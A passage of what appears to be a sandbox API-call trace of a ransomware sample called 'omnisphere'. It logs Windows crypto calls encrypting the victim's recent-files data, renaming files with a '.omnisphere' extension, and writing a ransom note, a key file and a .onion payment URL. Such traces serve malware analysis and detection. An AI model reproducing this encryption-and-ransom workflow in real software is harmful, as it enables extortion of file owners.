dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.875] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.875] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.875] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.875] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.875] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.875] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.875] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.875] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.875] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.875] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.875] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.875] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.875] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.875] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.875] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.875] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.875] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.876] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.876] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.876] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.876] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.876] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.876] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.876] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.876] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.876] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.876] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.876] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.876] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.876] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.876] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.876] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.876] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.876] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.876] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.876] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.876] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.876] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.876] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.876] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.876] CryptDestroyKey (hKey=0x1639b68) returned 1 [0127.876] CryptReleaseContext (hProv=0x1669120, dwFlags=0x0) returned 1 [0127.877] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xe00, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0127.877] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0127.877] GetProcessHeap () returned 0x1600000 [0127.877] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x310) returned 0x17111a0 [0127.877] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\319f01bf9fe00f2d.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\319f01bf9fe00f2d.automaticdestinations-ms"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\319f01bf9fe00f2d.automaticDestinations-ms.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\319f01bf9fe00f2d.automaticdestinations-ms.omnisphere")) returned 1 [0127.878] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\319f01bf9fe00f2d.automaticDestinations-ms.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\319f01bf9fe00f2d.automaticDestinations-ms.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\319f01bf9fe00f2d.automaticDestinations-ms.omnisphere.id" [0127.878] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\319f01bf9fe00f2d.automaticDestinations-ms.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\319f01bf9fe00f2d.automaticdestinations-ms.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0127.878] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0127.879] CloseHandle (hObject=0x388) returned 1 [0127.879] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.879] CloseHandle (hObject=0x3c0) returned 1 [0127.879] SetEndOfFile (hFile=0x288) returned 1 [0127.880] FlushFileBuffers (hFile=0x288) returned 1 [0127.885] CloseHandle (hObject=0x288) returned 1 [0127.885] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\319f01bf9fe00f2d.automaticDestinations-ms" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations") returned 1 [0127.885] GetProcessHeap () returned 0x1600000 [0127.885] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x17114b8 [0127.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.885] GetProcessHeap () returned 0x1600000 [0127.885] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1fa0 [0127.885] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1fa0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.885] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.886] GetProcessHeap () returned 0x1600000 [0127.886] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1710480 [0127.886] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1710480, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.886] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.886] GetProcessHeap () returned 0x1600000 [0127.886] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xdc) returned 0x16cd3d8 [0127.886] PathCombineW (in: pszDest=0x16cd3d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" [0127.886] GetProcessHeap () returned 0x1600000 [0127.886] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1709c90 [0127.886] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0127.886] WriteFile (in: hFile=0x288, lpBuffer=0x1709c90*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d2f8, lpOverlapped=0x0 | out: lpBuffer=0x1709c90*, lpNumberOfBytesWritten=0x3e0d2f8*=0x588, lpOverlapped=0x0) returned 1 [0127.886] CloseHandle (hObject=0x288) returned 1 [0127.887] GetProcessHeap () returned 0x1600000 [0127.887] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x17114b8 | out: hHeap=0x1600000) returned 1 [0127.887] GetProcessHeap () returned 0x1600000 [0127.887] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1649080 [0127.887] PathCombineW (in: pszDest=0x1649080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" [0127.887] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0127.887] WriteFile (in: hFile=0x288, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d30c, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d30c*=0x5a0, lpOverlapped=0x0) returned 1 [0127.887] CloseHandle (hObject=0x288) returned 1 [0127.887] GetProcessHeap () returned 0x1600000 [0127.887] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649080 | out: hHeap=0x1600000) returned 1 [0127.887] GetProcessHeap () returned 0x1600000 [0127.887] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x160e0d8 | out: hHeap=0x1600000) returned 1 [0127.887] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x658b4643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x658b4643, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x658b4643, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0xcc, cFileName="5175b273ceba776b.automaticDestinations-ms", cAlternateFileName="5175B2~1.AUT")) returned 1 [0127.887] GetProcessHeap () returned 0x1600000 [0127.887] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x100) returned 0x160e0d8 [0127.887] PathCombineW (in: pszDest=0x160e0d8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations", pszFile="5175b273ceba776b.automaticDestinations-ms" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5175b273ceba776b.automaticDestinations-ms") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5175b273ceba776b.automaticDestinations-ms" [0127.887] StrStrW (lpFirst=".omnisphere", lpSrch=".automaticDestinations-ms") returned 0x0 [0127.888] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\5175b273ceba776b.automaticDestinations-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\automaticdestinations\\5175b273ceba776b.automaticdestinations-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0127.888] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=2560) returned 1 [0127.888] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x4dc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0127.888] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0127.890] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0127.890] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1480000 [0127.890] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.890] CloseHandle (hObject=0x3c0) returned 1 [0127.890] GetTickCount () returned 0x115fe90 [0127.890] GetTickCount () returned 0x115fe90 [0127.890] GetTickCount () returned 0x115fe90 [0127.890] GetTickCount () returned 0x115fe90 [0127.890] GetTickCount () returned 0x115fe90 [0127.890] GetTickCount () returned 0x115fe90 [0127.890] GetTickCount () returned 0x115fe90 [0127.890] GetTickCount () returned 0x115fe90 [0127.890] GetTickCount () returned 0x115fe90 [0127.890] GetTickCount () returned 0x115fe90 [0127.890] GetTickCount () returned 0x115fe90 [0127.890] GetTickCount () returned 0x115fe90 [0127.890] GetTickCount () returned 0x115fe90 [0127.890] GetTickCount () returned 0x115fe90 [0127.890] GetTickCount () returned 0x115fe90 [0127.890] GetTickCount () returned 0x115fe90 [0127.890] GetTickCount () returned 0x115fe90 [0127.891] GetTickCount () returned 0x115fe90 [0127.891] GetTickCount () returned 0x115fe90 [0127.891] GetTickCount () returned 0x115fe90 [0127.891] GetTickCount () returned 0x115fe90 [0127.891] GetTickCount () returned 0x115fe90 [0127.891] GetTickCount () returned 0x115fe90 [0127.891] GetTickCount () returned 0x115fe90 [0127.891] GetTickCount () returned 0x115fe90 [0127.891] GetTickCount () returned 0x115fe90 [0127.891] GetTickCount () returned 0x115fe90 [0127.891] GetTickCount () returned 0x115fe90 [0127.891] GetTickCount () returned 0x115fe90 [0127.891] GetTickCount () returned 0x115fe90 [0127.891] GetTickCount () returned 0x115fe90 [0127.891] GetTickCount () returned 0x115fe90 [0127.891] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x16688a0) returned 1 [0127.892] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b68) returned 1 [0127.892] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0127.892] CryptDestroyKey (hKey=0x1639b68) returned 1 [0127.892] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0127.892] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0127.892] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa00) returned 0x1480000 [0127.892] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1668ac0) returned 1 [0127.892] CryptImportKey (in: hProv=0x1668ac0, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x16396a8) returned 1 [0127.893] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0127.893] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0127.893] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.893] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.893] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.893] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.893] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0127.893] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 